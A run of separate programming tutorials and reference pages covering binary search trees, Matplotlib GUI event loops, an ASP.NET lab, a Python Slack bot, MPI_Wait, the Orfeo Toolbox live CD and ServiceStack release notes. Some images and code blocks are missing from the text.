I will continue to present a binary search tree. The idea is to have a node root, each node has at most two child nodes, the one on the left is smaller than the root, as well as the left subtree, the right node is larger than the root, so is the right subtree.
Example of binary tree construction:
Searching in a binary search tree has the complexity of time O(log n) , example of searching in binary tree:
Binary search tree traversal:
Preorder
- Root through
- Go through the left subtree
- Go through the right subtree
Inorder
- Go through the left subtree
- Root through
- Go through the right subtree
Postorder
- Go through the left subtree
- Go through the right subtree
- Root through
In the .NET Framework , the SortedList data structure uses internally a binary tree to keep the sorted elements.
Graphs
The graphs are data structures characterized by nodes and edges joining the nodes, usually using the notation G = (V, E) where, V represents the set of nodes (vertices, vertices), and E represents the set of edges (edges), in the programming language is represented by adjacency matrices for example a [i, j] = k, this means that between node i and j we have an edge with weight k, and adjacent lists are also used for their representation.
The graphs and trees can also be crossed in breadth(BREADTH FIRST) with a queue, depth(DEPTH FIRST) with a stack.
Sorting Algorithms
Sorting algorithms are another topic from the courses of algorithms and data structures, a table with their complexities:
Top comments (4)
Thank you so much for such great tutorial...!!
This was very helpful, thank you!
This is absolutely beautiful...BinarySearch is easier than i thought
very helpful
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Interactive Figures and Asynchronous Programming¶
Matplotlib supports rich interactive figures by embedding figures into a GUI window. The basic interactions of panning and zooming in an Axes to inspect your data is 'baked in' to Matplotlib. This is supported by a full mouse and keyboard event handling system that you can use to build sophisticated interactive graphs.
This guide is meant to be an introduction to the low-level details of how Matplotlib integration with a GUI event loop works. For a more practical introduction to the Matplotlib event API see event handling system, Interactive Tutorial, and Interactive Applications using Matplotlib.
Event Loops¶
Fundamentally, all user interaction (and networking) is implemented as an infinite loop waiting for events from the user (via the OS) and then doing something about it. For example, a minimal Read Evaluate Print Loop (REPL) is
exec_count = 0 while True: inp = input(f"[{exec_count}] > ") # Read ret = eval(inp) # Evaluate print(ret) # Print exec_count += 1 # Loop
This is missing many niceties (for example, it exits on the first exception!), but is representative of the event loops that underlie all terminals, GUIs, and servers [1]. In general the Read step is waiting on some sort of I/O -- be it user input or the network -- while the Evaluate and Print are responsible for interpreting the input and then doing something about it.
In practice we interact with a framework that provides a mechanism to
register callbacks to be run in response to specific events rather
than directly implement the I/O loop [2]. For example "when the
user clicks on this button, please run this function" or "when the
user hits the 'z' key, please run this other function". This allows
users to write reactive, event-driven, programs without having to
delve into the nitty-gritty [3] details of I/O. The core event loop
is sometimes referred to as "the main loop" and is typically started,
depending on the library, by methods with names like
_exec,
run, or
start.
All GUI frameworks (Qt, Wx, Gtk, tk, OSX, or web) have some method of
capturing user interactions and passing them back to the application
(for example
Signal /
Slot framework in Qt) but the exact
details depend on the toolkit. Matplotlib has a backend for each GUI toolkit we support which uses the
toolkit API to bridge the toolkit UI events into Matplotlib's event
handling system. You can then use
FigureCanvasBase.mpl_connect to connect your function to
Matplotlib's event handling system. This allows you to directly
interact with your data and write GUI toolkit agnostic user
interfaces.
Command Prompt Integration¶
So far, so good. We have the REPL (like the IPython terminal) that lets us interactively send code to the interpreter and get results back. We also have the GUI toolkit that runs an event loop waiting for user input and lets us register functions to be run when that happens. However, if we want to do both we have a problem: the prompt and the GUI event loop are both infinite loops that each think they are in charge! In order for both the prompt and the GUI windows to be responsive we need a method to allow the loops to 'timeshare' :
- let the GUI main loop block the python process when you want interactive windows
- let the CLI main loop block the python process and intermittently run the GUI loop
- fully embed python in the GUI (but this is basically writing a full application)
Blocking the Prompt¶
The simplest "integration" is to start the GUI event loop in 'blocking' mode and take over the CLI. While the GUI event loop is running you can not enter new commands into the prompt (your terminal may echo the characters typed into the terminal, but they will not be sent to the Python interpreter because it is busy running the GUI event loop), but the figure windows will be responsive. Once the event loop is stopped (leaving any still open figure windows non-responsive) you will be able to use the prompt again. Re-starting the event loop will make any open figure responsive again (and will process any queued up user interaction).
To start the event loop until all open figures are closed use
pyplot.show as
pyplot.show(block=True)
To start the event loop for a fixed amount of time (in seconds) use
pyplot.pause.
If you are not using
pyplot you can start and stop the event loops
via
FigureCanvasBase.start_event_loop and
FigureCanvasBase.stop_event_loop. However, in most contexts where
you would not be using
pyplot you are embedding Matplotlib in a
large GUI application and the GUI event loop should already be running
for the application.
Away from the prompt, this technique can be very useful if you want to write a script that pauses for user interaction, or displays a figure between polling for additional data. See Scripts and functions for more details.
Input Hook integration¶
While running the GUI event loop in a blocking mode or explicitly handling UI events is useful, we can do better! We really want to be able to have a usable prompt and interactive figure windows.
We can do this using the 'input hook' feature of the interactive prompt. This hook is called by the prompt as it waits for the user to type (even for a fast typist the prompt is mostly waiting for the human to think and move their fingers). Although the details vary between prompts the logic is roughly
- start to wait for keyboard input
- start the GUI event loop
- as soon as the user hits a key, exit the GUI event loop and handle the key
- repeat
This gives us the illusion of simultaneously having interactive GUI windows and an interactive prompt. Most of the time the GUI event loop is running, but as soon as the user starts typing the prompt takes over again.
This time-share technique only allows the event loop to run while python is otherwise idle and waiting for user input. If you want the GUI to be responsive during long running code it is necessary to periodically flush the GUI event queue as described above. In this case it is your code, not the REPL, which is blocking the process so you need to handle the "time-share" manually. Conversely, a very slow figure draw will block the prompt until it finishes drawing.
Full embedding¶
It is also possible to go the other direction and fully embed figures (and a Python interpreter) in a rich native application. Matplotlib provides classes for each toolkit which can be directly embedded in GUI applications (this is how the built-in windows are implemented!). See Embedding Matplotlib in graphical user interfaces for more details.
Scripts and functions¶
There are several use-cases for using interactive figures in scripts:
- capture user input to steer the script
- progress updates as a long running script progresses
- streaming updates from a data source
Blocking functions¶
If you only need to collect points in an Axes you can use
figure.Figure.ginput or more generally the tools from
blocking_input the tools will take care of starting and stopping
the event loop for you. However if you have written some custom event
handling or are using
widgets you will need to manually run the GUI
event loop using the methods described above.
You can also use the methods described in Blocking the Prompt
to suspend run the GUI event loop. Once the loop exits your code will
resume. In general, any place you would use
time.sleep you can use
pyplot.pause instead with the added benefit of interactive figures.
For example, if you want to poll for data you could use something like
fig, ax = plt.subplots() ln, = ax.plot([], []) while True: x, y = get_new_data() ln.set_data(x, y) plt.pause(1)
which would poll for new data and update the figure at 1Hz.
Explicitly spinning the Event Loop¶
If you have open windows that have pending UI
events (mouse clicks, button presses, or draws) you can explicitly
process those events by calling
FigureCanvasBase.flush_events.
This will run the GUI event loop until all UI events currently waiting
have been processed. The exact behavior is backend-dependent but
typically events on all figure are processed and only events waiting
to be processed (not those added during processing) will be handled.
For example
import time import matplotlib.pyplot as plt import numpy as np plt.ion() fig, ax = plt.subplots() th = np.linspace(0, 2*np.pi, 512) ax.set_ylim(-1.5, 1.5) ln, = ax.plot(th, np.sin(th)) def slow_loop(N, ln): for j in range(N): time.sleep(.1) # to simulate some work ln.figure.canvas.flush_events() slow_loop(100, ln)
While this will feel a bit laggy (as we are only processing user input every 100ms whereas 20-30ms is what feels "responsive") it will respond.
If you make changes to the plot and want it re-rendered you will need
to call
draw_idle to request that the canvas be
re-drawn. This method can be thought of draw_soon in analogy to
asyncio.loop.call_soon.
We can add this our example above as
def slow_loop(N, ln): for j in range(N): time.sleep(.1) # to simulate some work if j % 10: ln.set_ydata(np.sin(((j // 10) % 5 * th))) ln.figure.canvas.draw_idle() ln.figure.canvas.flush_events() slow_loop(100, ln)
The more frequently you call
FigureCanvasBase.flush_events the more
responsive your figure will feel but at the cost of spending more
resources on the visualization and less on your computation.
Stale Artists¶
Artists (as of Matplotlib 1.5) have a stale attribute which is
True if the internal state of the artist has changed since the last
time it was rendered. By default the stale state is propagated up to
the Artists parents in the draw tree, e.g., if the color of a
Line2D
instance is changed, the
axes.Axes and
figure.Figure that
contain it will also be marked as "stale". Thus,
fig.stale will
report if any artist in the figure has been modified and is out of sync
with what is displayed on the screen. This is intended to be used to
determine if
draw_idle should be called to schedule a re-rendering
of the figure.
Each artist has a
Artist.stale_callback attribute which holds a callback
with the signature
def callback(self: Artist, val: bool) -> None: ...
which by default is set to a function that forwards the stale state to the artist's parent. If you wish to suppress a given artist from propagating set this attribute to None.
figure.Figure instances do not have a containing artist and their
default callback is
None. If you call
pyplot.ion and are not in
IPython we will install a callback to invoke
draw_idle whenever the
figure.Figure becomes stale. In
IPython we use the
'post_execute' hook to invoke
draw_idle on any stale figures
after having executed the user's input, but before returning the prompt
to the user. If you are not using
pyplot you can use the callback
Figure.stale_callback attribute to be notified when a figure has
become stale.
Draw Idle¶
In almost all cases, we recommend using
backend_bases.FigureCanvasBase.draw_idle over
backend_bases.FigureCanvasBase.draw.
draw forces a rendering of
the figure whereas
draw_idle schedules a rendering the next time
the GUI window is going to re-paint the screen. This improves
performance by only rendering pixels that will be shown on the screen. If
you want to be sure that the screen is updated as soon as possible do
fig.canvas.draw_idle() fig.canvas.flush_events()
Threading¶
Most GUI frameworks require that all updates to the screen, and hence their main event loop, run on the main thread. This makes pushing periodic updates of a plot to a background thread impossible. Although it seems backwards, it is typically easier to push your computations to a background thread and periodically update the figure on the main thread.
In general Matplotlib is not thread safe. If you are going to update
Artist objects in one thread and draw from another you should make
sure that you are locking in the critical sections.
Eventloop integration mechanism¶
CPython / readline¶
The Python C API provides a hook,
PyOS_InputHook, to register a
function to be run "The function will be called when Python's
interpreter prompt is about to become idle and wait for user input
from the terminal.". This hook can be used to integrate a second
event loop (the GUI event loop) with the python input prompt loop.
The hook functions typically exhaust all pending events on the GUI
event queue, run the main loop for a short fixed amount of time, or
run the event loop until a key is pressed on stdin.
Matplotlib does not currently do any management of
PyOS_InputHook due
to the wide range of ways that Matplotlib is used. This management is left to
downstream libraries -- either user code or the shell. Interactive figures,
even with matplotlib in 'interactive mode', may not work in the vanilla python
repl if an appropriate
PyOS_InputHook is not registered.
Input hooks, and helpers to install them, are usually included with
the python bindings for GUI toolkits and may be registered on import.
IPython also ships input hook functions for all of the GUI frameworks
Matplotlib supports which can be installed via
%matplotlib. This
is the recommended method of integrating Matplotlib and a prompt.
IPython / prompt toolkit¶
With IPython >= 5.0 IPython has changed from using cpython's readline
based prompt to a
prompt_toolkit based prompt.
prompt_toolkit
has the same conceptual input hook, which is fed into
prompt_toolkit via the
IPython.terminal.interactiveshell.TerminalInteractiveShell.inputhook()
method. The source for the
prompt_toolkit input hooks lives at
IPython.terminal.pt_inputhooks
Footnotes
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computer programming
iLab 3 of 7: User activity monitoring".
- If the following message appears, select Yes. You want to make this class available to everything in your solution.
- Add the following to the top of your class, below any other using statements created for you by Visual Studio:
- Add the following three functions inside the squiggly braces for the "public class clsDataLayer" class, above the beginning of the "public clsDataLayer()" constructor:
- Create a new Web form called frmUserActivity. Switch to Design Mode and add a Label and GridView (found under the Toolbox, Data tab) having the following properties:
- Go to the Page_Load method and add the following code:
-:
"txtFirstName" is the key and txtFirstName.Text is the value.
To get this same value back from the session we use the key and the Session object as follows::
Remember to clear the PostBackURL property of the submit button!
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One of my all-time favorite Facebook groups is “DogSpotting.” For those of you unfamiliar with this revolutionary group, it’s a Facebook group dedicated to posting pictures of random dogs you see as you go along your regular day. There are tons of “spotting” rules, but any way you slice it, this group is awesome.
Using this model for inspiration, I built a Slack bot for a college student group I was involved in once upon a time. We named it ADI Spotting and dedicated an entire Slack channel to posting “spottings” of whenever we’d see each other on campus, outside of our own events and meetings. In this tutorial, I will walk you through the steps to create this bot on your own Slack organization.
Python Environment Setup
But before we even get started, we have to set our environment up. This guide was written in Python 3.6. If you haven’t already, download Python and Pip. Next, you’ll need to install several packages that we’ll use throughout this tutorial on the command line in our project directory:
pip3 install slackclient==1.1.0
If you don’t already have a Slack organization to work with, first create that. To make this tutorial more interesting, I also recommend adding some people to it! Since we’ll be using the Slack API, click the “Create a Slack App” button circled below:
This will return this web page, where you can enter your app’s name. For this tutorial, I named mine adispotting, but feel free to adjust for your own organization! Once you fill out the information, click “Create App”.
Several options will appear that you can add to your application, including “Bots” which is circled below.
Once you click the “Bots” option, there will be an “Add a Bot User” which you’ll need to click to continue the process.
Just as you’ve done before, fill out the needed fields and select “Add Bot User”.
Next, on the left sidebar click the option ‘OAuth & Permissions’, then click ‘Install App to Workspace’. These are your API keys — make sure to save the second key for later.
Since we’ll be working with Python throughout this tutorial, a Jupyter Notebook is the best experience for completing these steps.
A Quick Note on Jupyter Notebooks). Feel free to choose when to save your work.
Next, we have the “add cell” button (2). Cells are blocks of code that you can run together. These are the building blocks of jupyter notebook because they provide the option to run code incrementally without having to to run all your code at once. Throughout this tutorial, you’ll see lines of code blocked off — each blocked line should correspond to a cell.
Lastly, there’s the “run cell” button (3). Jupyter Notebook doesn’t automatically run it your code for you; you have to tell it when to execute by clicking this button. As with the add button, once you’ve written each block of code in this tutorial onto your cell, you should then run it to see the output (if any). If output is expected, note that I’ll also share it in this tutorial so you know what to expect. Make sure to run your code as you go along because many blocks of code in this tutorial rely on previous cells.
Spotting Game Rules
Before we get into the Python that will power ADISpotting, let’s review some of the key rules that go into it. I mentioned earlier that pictures are posted as part of the game; with these pictures, we’ll keep track of each person’s “points” and consistently update who the top scorer is.
We’ll implement this task first with a Python class, which we’ll call ADISpotting.
class ADISpotting: def __init__(self): # we'll add code here soon pass
There are two pieces of information we need to keep track of here: the players and their scores. Since we’re taking an object-oriented approach to this problem, we can initialize these in the constructor.
class ADISpotting: def __init__(self): self.users = {}
In the constructor,
self.users is a dictionary containing each player’s account id and respective score. Since
self.users was initialized to an empty dictionary, we have to fill it up with the players’s IDs, otherwise we’ll be playing alone. (And what fun is that?) An
add_user() function will do us some good here. The only argument needed will be the user id, which the function will use to add to the
users dictionary with a score of 0.
class ADISpotting: def __init__(self): self.users = {} def add_user(self, user): self.users[user] = 0
Whenever someone submits a spot, points need to be added to that person’s score. We’ll add a general purpose
add_points() function whose parameters are the number of points to be added and the user id associated with the points.
def add_points(self, user, points):
To update the actual user’s point tally, we can refer to the users dictionary we initiated earlier and increment it by the points parameter.
def add_points(self, user, points): self.users[user] = self.users[user] + points
Connecting the Game to Slack
We now have a lot of the code written to power ADISpotting, but what we don’t have is all the information about the Slack channel. We’ll need to know the users that are playing and the channel they will use for the game.. To accomplish this, we’ll use Slack’s API.
To access their API, we’ll begin by importing the needed module and initializing the Slack client.
from slackclient import SlackClient slack_client = SlackClient('your-key-here')
Great! Now that we’ve connected to Slack, we can use the API client to request the list of channels in your Slack workspace.
channels = slack_client.api_call( "channels.list", exclude_archived=1 )['channels'] print(channels)
Here we have to do a little digging in the response to find the channel id for the Slack channel you want to use for your game. In my example I named this channel #i-adispotting. I found that the id for my channel is C55UAGM3N from this part of the json:
{'id': 'C55UAGM3N', 'name': 'i-adispotting',.
We need this id so that we can find the list of members in the #i-adispotting channel. Additionally, we’ll keep track of the index number so we can access the specific dictionary that refers to the channel information.
ind = 0 # iterate through the Slack channels for i in channels: # access the list of members channel_id = "C55UAGM3N" if i['id'] == channel_id: members = channels[ind]['members'] break else: ind += 1
Now that we’ve successfully extracted the users in the channel we can add each person to the class instance. First we create the ADISpotting() instance and then call the
add_user() function for each user in the list of members.
adispot = ADISpotting() for i in members: adispot.add_user(i)
Getting the Slack Game Rolling
Alright, so now we have all the pieces set up to the game and it’s time to get it going! We’ll make a function called parse_slack_output that will take the messages sent to the #i-adispotting channel and respond (or not respond) accordingly.
def parse_slack_output(output_list):
This first line of code checks to see if there’s even a message to parse.
def parse_slack_output(output_list): if output_list and len(output_list) > 0:
If there is a message, we’ll iterate through each word in the message and check to see if the adispotting bot should respond.
def parse_slack_output(output_list): if output_list and len(output_list) > 0: for output in output_list:
For this tutorial, we’ll only write a response when someone in the core group uploads a photo to #i-adispotting (or whatever you called your channel). To do this, we’ll check the message for the keywords subtype and file to confirm that there was an image uploaded. If this check comes back true, we’ll call the function add_points() to increment the score of the person who sent the message.
Lastly, we want our bot to send a confirmation so we make a POST request to the channel indicating that the message was received and the person’s updated score.
def parse_slack_output(output_list): if output_list and len(output_list) > 0: for output in output_list: if output and 'subtype' in output and 'file' in output: adispot.add_points(output['file']['user'], 5) slack_client.api_call("chat.postMessage", channel=channel_id, text=output['username'] + " now has " + str(adispot.get_points(output['user'])) + " points!", as_user=True)
Now that all the needed functions are written we can put them all together. In this tutorial, we won’t review deployment, we’ll simply review running this game from your local environment.
First, we want to make sure that the Slack client is connected to in the first place; and if it is, we’ll print a message saying so. If it isn’t we’ll print out an error message.
if slack_client.rtm_connect(): print("ADISpotting connected and running!") else: print("Connection failed. Invalid Slack token or bot ID")
If the Slack client is connected, we want to call parse_slack_output() on any input that comes through. If we call this just once, only the first input will be parsed so we need a way of making sure this function is called on all input. Since we’re only working in our local environment, we can accomplish this with a while True: loop.
if slack_client.rtm_connect(): print("ADISpotting connected and running!") while True: parse_slack_output(slack_client.rtm_read()) else: print("Connection failed. Invalid Slack token or bot ID")
A Live Python Slack Bot
Now your Python Slack bot is live! You can go onto your Slack and start adispotting. If you look at the image below, I posted a picture of my dog, Lennon, and @adispotting responded with my new score.
We have a good basis for our spotting game, but there’s much more we could do. We could keep track of who is currently in the lead and announce a weekly winner, we could build a command for the bot so that players can ask for the current scores — the possibilities are limitless and I encourage you to add your own features to your bot and comment below on what you did!
If you liked what you did here, check out my GitHub (@lesley2958) and Twitter (@lesleyclovesyou) for more content!
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https://www.twilio.com/blog/build-python-slack-bot-html
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Synchronisation
C | FORTRAN-legacy | FORTRAN-2008
MPI_Wait
Definition
MPI_Wait waits for a non-blocking operation to complete. That is, unlike MPI_Test, MPI_Wait will block until the underlying non-blocking operation completes. Since a non-blocking operation immediately returns, it does so before the underlying MPI routine completed. Waiting for that routine to complete is what MPI_Wait is designed for. There are variations of MPI_Wait to monitor multiple request handlers at once: MPI_Waitall, MPI_Waitany and MPI_Waitsome.
Copy
Feedback
int MPI_Wait(MPI_Request* request, MPI_Status* status);
Parameters
- request
- The request handle on the non-blocking routine to wait on.
- status
- The variable in which store the status returned by the non-blocking routine concerned. If the status is not needed, MPI_STATUS_IGNORE can be passed.
Returned value
The error code returned from the waiting.
- MPI_SUCCESS
- The routine successfully completed.
Example
Copy
Feedback
#include <stdio.h> #include <stdlib.h> #include <mpi.h> /** * @brief Illustrates how to wait for the completion of a non-blocking * operation. * buffer = 12345; printf("MPI process %d sends the value %d.\n", my_rank, buffer); MPI_Ssend(&buffer, 1, MPI_INT, 1, 0, MPI_COMM_WORLD); } else { // The "slave" MPI process receives the message. int received; MPI_Request request; MPI_Irecv(&received, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &request); // Do some other things while the underlying MPI_Recv progresses. printf("MPI process %d issued the MPI_Irecv and moved on printing this message.\n", my_rank); // Wait for the MPI_Recv to complete. printf("MPI process %d waits for the underlying MPI_Recv to complete.\n", my_rank); MPI_Wait(&request, MPI_STATUS_IGNORE); printf("The MPI_Wait completed, which means the underlying request (i.e: MPI_Recv) completed too.\n"); } MPI_Finalize(); return EXIT_SUCCESS; }
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https://www.rookiehpc.com/mpi/docs/mpi_wait.php
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capitalise the
methodological know how, and therefore use an incremental approach to
take profit of the results of the methodological research.
distributed under a free software
The OTB software guide provides an extensive documentation (about 600 pages) and many examples. You can access the software guide by clicking the link on the desktop
The full API (doxygen) is a reference for people who want to develop their own applications using OTB. The doxygen provides all the details concerning classes of the library. You can also access it with the link on the desktop.
Do not hesitate to contact the OTB users mailing list () if you have more questions or to give us your feedback using OTB.
The purpose of this live CD is to make it easy to experiment with OTB without going through the installation process. You can also use it to process images stored on a portable hard disk or network from any computer. You should know that this live CD is based on Xubuntu 8.04 and has been adapted to suit the requirements of OTB (we will be glad to hear your suggestions).
Now, let us detail the arborescence of the live CD:
You can start by launching the OTB Image Viewer Manager using the desktop link and open one image from the /otb/OrfeoToolbox-2.8.0/Examples/Data folder. If you have some data on a portable hard disk you can also give it a try. This viewer can handle images with more than a billion of pixels and several spectral bands.
Then, you can try the Interactive Change Detection program. Images /otb/OrfeoToolbox-2.8.0/Examples/Data/GomaAvant.png and /otb/OrfeoToolbox-2.8.0/Examples/Data/GomaApres.png are particularly suitable. You left click to select some small area where there is some changes (in red). You right click to select a small area without changes (in blue). Then you click Learn, then Classify, and finally Display Results. The classification is based on SVM and you can try different SVM and adjust the parameters.
You can also try the Road Extraction program. Image /otb/OrfeoToolbox-2.8.0/Examples/Data/qb_RoadExtract.tif is loaded by default. You just have to click on the reference pixel that you consider as a road (spectrally) and the extraction appears.
If you want to go more into programming, you can follow the tutorial from the software guide (Part II, Chapter 4). If you want to save your programs, you should work on a USB key. Plug the USB key, it will open a new window. Create a new folder in it (right-click, new folder) and name it "OTBtutorial" for example. Then open a terminal here (right-click on the folder, Open terminal here). Create the CMakeLists.txt as stated in the tutorial with gedit, entering the command: "gedit CMakeLists.txt".
CMakeLists.txt should contain the following:
PROJECT(Tutorials)
FIND_PACKAGE(OTB)
IF(OTB_FOUND)
INCLUDE(${OTB_USE_FILE})
ELSE(OTB_FOUND)
MESSAGE(FATAL_ERROR
"Cannot build OTB project without OTB. Please set OTB_DIR.")
ENDIF(OTB_FOUND)
ADD_EXECUTABLE(HelloWorldOTB HelloWorldOTB.cxx )
TARGET_LINK_LIBRARIES(HelloWorldOTB OTBCommon OTBIO)
Save the file and exit gedit. Create the HelloWorldOTB.cxx with the command "gedit HelloWorldOTB.cxx". The HelloWorldOTB.cxx file should contain
#include "otbImage.h"
#include <iostream>
int main( int argc, char * argv[] )
{
typedef otb::Image< unsigned short, 2 > ImageType;
ImageType::Pointer image = ImageType::New();
std::cout << "OTB Hello World !" << std::endl;
return 0;
}
Then you can save the file and exit.
It is now time to compile this program: enter the command "ccmake ." Press 'c' to configure. Cmake should stop and ask you for your OTB directory, you set it to /otb/OTB-Binary. Press 'c' again until the generate command becomes available, then you press 'g'. Once it is generated, exit with 'q'. You can now compile using the "make" command. Once it is done, you execute your program with the "./HelloWorldOTB" command.
You can now follow the rest of the tutorials yourself and build your own useful applications.
If you want to contribute to OTB with a new algorithm, a great application, please do not hesitate to contact the mailing list at or if you want to have more information about that, you can contact directly the CNES team for OTB at otb_at_cnes_dot_fr.
You can get the OTB live CD here (the download can be quite slow so you need to be patient). Once you get it, just burn it and put it on your computer.
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http://www.orfeo-toolbox.org/otblive/
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The major change in this release and the reason for the major version number increase is that all packages have been upgraded to .NET 4.5 as announced earlier this year. If your ServiceStack projects are already on .NET 4.5 this will be a seamless update just like any other release except it will install .NET 4.5 ServiceStack .dlls instead of the previous .NET 4.0 dlls.
If your ServiceStack projects are instead still on .NET 4.0 this will be a breaking change which will require converting all your projects to .NET 4.5 Framework before upgrading, e.g:
You will also need to have .NET 4.5 Framework installed on any deployment Servers that doesn't have it already.
Upgraded 3rd Party NuGet packages
All external NuGet package dependencies have also been upgraded to use the latest .NET 4.5 dlls, including using v3.1.7 of
Npgsql, v3.6.5 of
RabbitMQ.Client and
ServiceStack.Razor is now referencing v3.2.3 of the official
Microsoft.AspNet.Razor NuGet package.
We've also upgraded our build servers and all core ServiceStack projects to start using C# 6 which we're able to immediately benefit from by replacing lots of C# 5 boilerplate with C# 6 syntax sugar, we've also updated OrmLite's embedded version of Dapper to the latest version which is a heavy user of C# 6 features.
We've intentionally kept features to the core packages in this release minimal so that any issues that arise in this release can be attributable to the upgrade to .NET 4.5.
.NET Core support for ServiceStack.Redis!
In following the .NET Core support of our Text and Client libraries in our last release we've extended our support for .NET Core in this release to now also include ServiceStack.Redis where we now have .NET Core builds for our Top 3 popular NuGet packages which now includes:
- ServiceStack.Redis.Core
- ServiceStack.Client.Core
- ServiceStack.Common.Core
- ServiceStack.Text.Core
- ServiceStack.Interfaces.Core
Just like the other .NET Core libraries .NET Core builds of ServiceStack.Redis is released with a
*.Core suffix until development of .NET Core has stabilized.
To make it easy to start using Redis in a .NET Core App we've created a step-by-step guide for getting started with ServiceStack.Redis on .NET Core in both Windows and Linux.
New Xamarin.Forms TechStacks App
We've added a new TechStacks Mobile App to our expanding showcase of different ways where ServiceStack provides a seamless end-to-end Typed API development experience for developing Native Mobile Apps which now includes:
- C# iOS/Android Xamarin.Forms TechStacks App - new!
- Swift iOS TechStacks App
- Java Android Techstacks App
- Kotlin Android TechStacks App
- C# Xamarin.Android TechStacks Auth Example
Whilst not as flexibile or performant as native code, Xamarin.Forms enables the most code reuse of all the available options when needing to develop both iOS and Android Apps whilst still allowing for customization through styling or custom platform specific renderers. It also benefits from being able to use C# and much of the rich cross-platform libraries in .NET.
Despite sharing the majority of UI code between Android and iOS, Xamarin.Forms Apps also adopts the navigation idioms of each platform to provide a native "look and feel" which we can see by running the TechStacks Xamarin.Forms App on iOS and Android:
See the TechStacksXamarin Github project for more info on creating Xamarin.Forms Apps and how it leverages Add ServiceStack Reference and ServiceStack's .NET Service Clients to enable a responsive and productive development experience.
AutoQuery Viewer Saved Queries
We've further refined AutoQuery Viewer and added support for Saved Queries where you can save queries under each AutoQuery Service by clicking the save icon.
The saved query will be listed with the name provided and displayed to the right of the save icon, e.g:
This makes it easy for everyone to maintain and easily switch between multiple personalized views of any AutoQuery Service.
Create Live Executable Docs with Gistlyn
In our mission to make Gistlyn an immensely useful and collaborative learning tool for exploring any .NET library, we've greatly improved the UX for editing Collections making it easier than ever to create "Live documentation" which we believe is the best way to learn about a library, mixing documentation and providing a live development experience letting developers try out and explore what they've just learned without losing context by switching to their development environment and setting up new projects to match each code sample.
Gistlyn also makes it easy to share C# snippets with colleagues or reporting an issue to library mainteners with just a URL or a saved Gist ID which anyone can view in a browser at gistlyn.com or on their Desktop version of Gistlyn.
Here's an example of the new Collection authoring features in action:
These new UX improvements have closed the loop in Gistlyn which lets you create, edit, browse and run C# Gists or Markdown docs, all without leaving Gistlyn. The editing experience is seamless and retains the same benefits as editing C# gists, including auto-saving as-you-type to
localStorage, integrated persistence to Github gists, snapshots, deep linking as well as a built-in Markdown Editor with Live Preview, easy linking and seamless image uploads making it a great for authoring any kind of Markdown documentation and what we used to create these Release Notes 😃
Creating a Collection can be done at anytime from Gistlyn's main menu:
This will open a new Markdown Document into Gistlyn's built-in Markdown Editor. Hit
Ctrl+S to save your modified copy to your Github Gists. After saving, the top bar will turn Green to indicate you're viewing or modifying one of your own Gists or Collections:
Creating New Gists or Collections
Once editing the document you can use the Markdown Toolbar to quickly access Markdown specific formatting features like the Insert Link icon:
Which opens the Insert Link dialog and quickly create and link to new Gist or Collection by selecting the existing Gist or Collection you wish to use as a template:
This lets you quickly create multiple C# Gists using a copy of an existing Gists
packages.config and supporting
.cs source files, significantly reducing the effort for creating multiple C# samples.
Uploading Images
You can add images to your document by click on the Insert Image icon below:
This will open the Insert Image dialog where you can drag multiple images to upload them to imgur and embed them in your document:
After each image has finished uploading to Imgur, it will be embedded in your document from your Cursors position using the Markdown Image Format below:
Navigating, Browsing and Editing Collections
As you're authoring your Markdown Document you can freely jump between different Gists or Collections as Gistlyn automatically saves as-you-type so you can use the Back button to jump back to your new collection as you left it without missing a beat.
After navigating away from your page, the arrow icons shown below will appear in the middle to indicate what you're editing on the left no longer matches the same page on the right:
Use the top right arrow icon to load the page you're editing in the preview window on the right to load the real-time preview of your Markdown document.
Use the bottom left arrow icon to load the Collection you're viewing on the right in the Editor.
The Truly Empty ASP.NET Template
Over the years it's becoming harder and harder to create an Empty ASP.NET VS.NET Template as it continues to accumulate more cruft, unused dlls, hidden behavior, hooks into external services and other unnecessary bloat. Most of the bloat added since ASP.NET 2.0 for the most part has been unnecessary yet most .NET developers end up living with it because it's in the default template and they're unsure what each unknown dlls and default configuration does or what unintended behavior it will cause down the line if they remove it.
For ServiceStack and other lightweight Web Frameworks this added weight is completely unnecessary and can be safely removed. E.g. most ServiceStack Apps just needs a few ServiceStack .dlls and a single Web.config mapping to tell ASP.NET to route all calls to ServiceStack. Any other ASP.NET config you would add in ServiceStack projects is just to get ASP.NET to disable any conflicting default behavior, e.g:
<appSettings> <add key="webPages:Enabled" value="false" /> </appSettings>
Tells ASP.NET to stop hijacking Razor Views, required even when no ASP.NET Web Pages or MVC dlls are referenced. If using Server Events you'll also need to disable dynamic compression:
<system.webServer> <urlCompression doStaticCompression="true" doDynamicCompression="false" /> </system.webServer>
To prevent ASP.NET from buffering responses, required even when
HttpResponseBase.BufferOutput=false.
Or to reduce unnecessary requests and speed up iteration times, you can disable Browser Link with:
<appSettings> <add key="vs:EnableBrowserLink" value="false"/> </appSettings>
The Minimal ASP.NET Template we wanted
We've decided to reverse this trend and instead of focusing on what can be added, we're focusing on what can be removed whilst still remaining useful for most modern ASP.NET Web Apps.
With this goal we've reduced the ASP.NET Empty Template down to a single project with the only external dependency being Roslyn:
Most dlls have been removed and the
Web.config just contains registration for Roslyn and config for disabling ASP.NET's unwanted default behavior:
<configuration> <appSettings> <add key="vs:EnableBrowserLink" value="false"/> <add key="webPages:Enabled" value="false" /> </appSettings> <system.web> <httpRuntime targetFramework="4.5"/> <compilation debug="true"/> </system.web> <system.webServer> </system.webServer> > </configuration>
The only
.cs file is an Empty
Global.asax.cs with an empty placeholder for running custom code on Startup:
using System; namespace WebApplication { public class Global : System.Web.HttpApplication { protected void Application_Start(object sender, EventArgs e) { } } }
And that's it!
ASP.NET Empty is a single project empty ASP.NET Web Application with no additional references which we wont be adding to in future other than any configuration necessary to disable default ASP.NET behavior or enable C#'s latest language features so you can safely use this template for creating small stand-alone ASP.NET Web Apps using lightweight Web Frameworks like ServiceStack or Nancy.
Minimal but still Useful
You can then easily Convert this empty template into a functional ServiceStack Web App by:
Installing ServiceStack and any other dependency you want to use, e.g:
PM> Install-Package ServiceStack PM> Install-Package ServiceStack.Redis
Adding the ASP.NET HTTP Handler mapping to route all requests to ServiceStack:
<system.webServer> >
- Adding your ServiceStack AppHost and Services in Global.asax.cs.
That's all that's needed to create a functional Web App, which in this case creates a Backbone TODO compatible REST API with a Redis back-end which can power all todomvc.com Single Page Apps.
Generating API Keys for Existing Users
Whilst not a feature in ServiceStack, this script is useful if you want to enable ServiceStack's API Key AuthProvider but you have existing users you also want to generate API Keys for.
You can add the script below (which only needs to be run once) to your
